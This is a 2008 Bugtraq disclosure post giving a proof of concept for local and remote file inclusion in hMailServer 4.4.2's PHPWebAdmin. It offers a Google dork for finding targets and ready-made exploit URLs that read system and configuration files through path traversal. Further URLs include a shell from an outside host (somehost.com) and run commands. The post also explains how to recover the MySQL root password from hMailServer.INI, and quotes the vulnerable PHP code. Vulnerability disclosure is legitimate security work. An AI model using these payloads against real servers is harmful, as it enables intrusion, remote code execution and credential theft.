bugtraq - hMAilServer 4.4.2 (PHPWebAdmin) local & remote file inclusion

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Date: Wed, 5 Nov 2008 18:16:01 -0700
From: nospam@...il.it
To: bugtraq@...urityfocus.com
Subject: hMAilServer 4.4.2 (PHPWebAdmin) local & remote file inclusion

hMAilServer 4.4.2 (PHPWebAdmin) local & remote file inclusion poc
by Nine:Situations:Group::strawdog
------------------------------------------------------------------------

our site: http://retrogod.altervista.org

software site: http://www.hmailserver.com/
description: http://en.wikipedia.org/wiki/HMailServer
------------------------------------------------------------------------
google dork: "PHPWebAdmin for hMailServer" intitle:PHPWebAdmin -site:hmailserver.com -dork

poc:

regardless of register_globals & magic_quotes_gpc:
http://hostname/path_to_webadmin/index.php?page=background/../../../../../../../../boot.ini%00
http://hostname/path_to_webadmin/index.php?page=background/../../Bin/hMailServer.INI%00
http://hostname/path_to_webadmin/index.php?page=background/../../MySQL/my.ini%00
http://hostname/path_to_webadmin/index.php?page=background/../../../../../../../..
/../Program+Files/hmailserver/Bin/hmailserver.ini%00

with register_globals = on:
(prepare a functions.php folder on somehost.com with an index.html with your shell inside on 
a php enabled server,
otherwise a functions.php shell on a php disabled one)
http://hostname/path_to_webadmin/initialize.php?hmail_config[includepath]=http://www.somehost.com/&cmd=dir

with register_globals = on & magic_quotes_gpc = off :
http://hostname/path_to_webadmin/initialize.php?hmail_config[includepath]=c:\boot.ini%00
http://hostname/path_to_webadmin/initialize.php?hmail_config[includepath]=http://www.somehost.com/shell.txt%00&cmd=dir
http://hostname/path_to_webadmin/initialize.php?hmail_config[includepath]=c:\Program+Files\hMailServer\Bin\hMailServer.INI%00
http://hostname/path_to_webadmin/initialize.php?hmail_config[includepath]=../Bin/hMailServer.INI%00

"Bin" folder can be found in a different location, disclose the path by simply calling:

http://hostname/path_to_webadmin/initialize.php

interesting file:

hMailServer.INI - contains two interesting fields:
- the "Administrator password" crypted with md5,
- by having knowledge of that you can calculate the MySQL root password,
  specified in the "password" field.
  You can do this by using the /Addons/Utilities/DecryptBlowfish.vbs script

(*)
vulnerable code, index.php:
<?php


   error_reporting(E_ALL);
      
   if (!file_exists("config.php"))
   {
   	echo "Please rename config-dist.php to config.php. The file is found in the 

PHPWebAdmin root folder.";
   	die;
   }
  
   require_once("config.php");
   require_once("initialize.php");
 
   set_error_handler("ErrorHandler");
   
   if (is_php5())
      set_exception_handler("ExceptionHandler");
   

   
   $page = hmailGetVar("page");
   
   if ($page == "")
      $page = "frontpage";

   $isbackground = (substr($page, 0,10) == "background");
   
   
   if ($isbackground)
      $page = "$page.php";
   else
      $page = "hm_$page.php";
      
   // Check that the page really exists.
   $page = stripslashes($page);
   if (!file_exists($page))
      hmailHackingAttemp();

   // If it's a background page, run here.
   if ($isbackground)
   {
      include $page; //<------------------------------------------ !!!

      // Page is run, die now.
      die;
   }
..

for clearness, here it is hmailGetVar() function in /include/functions.php:
..
function hmailGetVar($p_varname, $p_defaultvalue = null)
{
	$retval = $p_defaultvalue;
	if(isset($_GET[$p_varname]))
	{
		$retval = $_GET[$p_varname];
	}
	else if (isset($_POST[$p_varname]))
	{
		$retval = $_POST[$p_varname];
	}
	else if (isset($_REQUEST[$p_varname]))
	{
		$retval	= $_REQUEST[$p_varname];
	}
	
	if (get_magic_quotes_gpc())
	   $retval = stripslashes($retval);
	
	return $retval;
}
..

so the "page" argument can be passed by $_GET[], $_POST[] or $_COOKIE[] arrays.
Note the stripslashes(), which disable magic_quotes_gpc on every argument passed.

(**)
initialize.php:
..
$hmail_config['rootpath']		= str_replace("\\","/",$hmail_config['rootpath']);
$hmail_config['includepath']	= str_replace("\\","/",$hmail_config['includepath']);
$hmail_config['temppath']		= str_replace("\\","/",$hmail_config['temppath']);
require_once($hmail_config['includepath'] . "functions.php");
..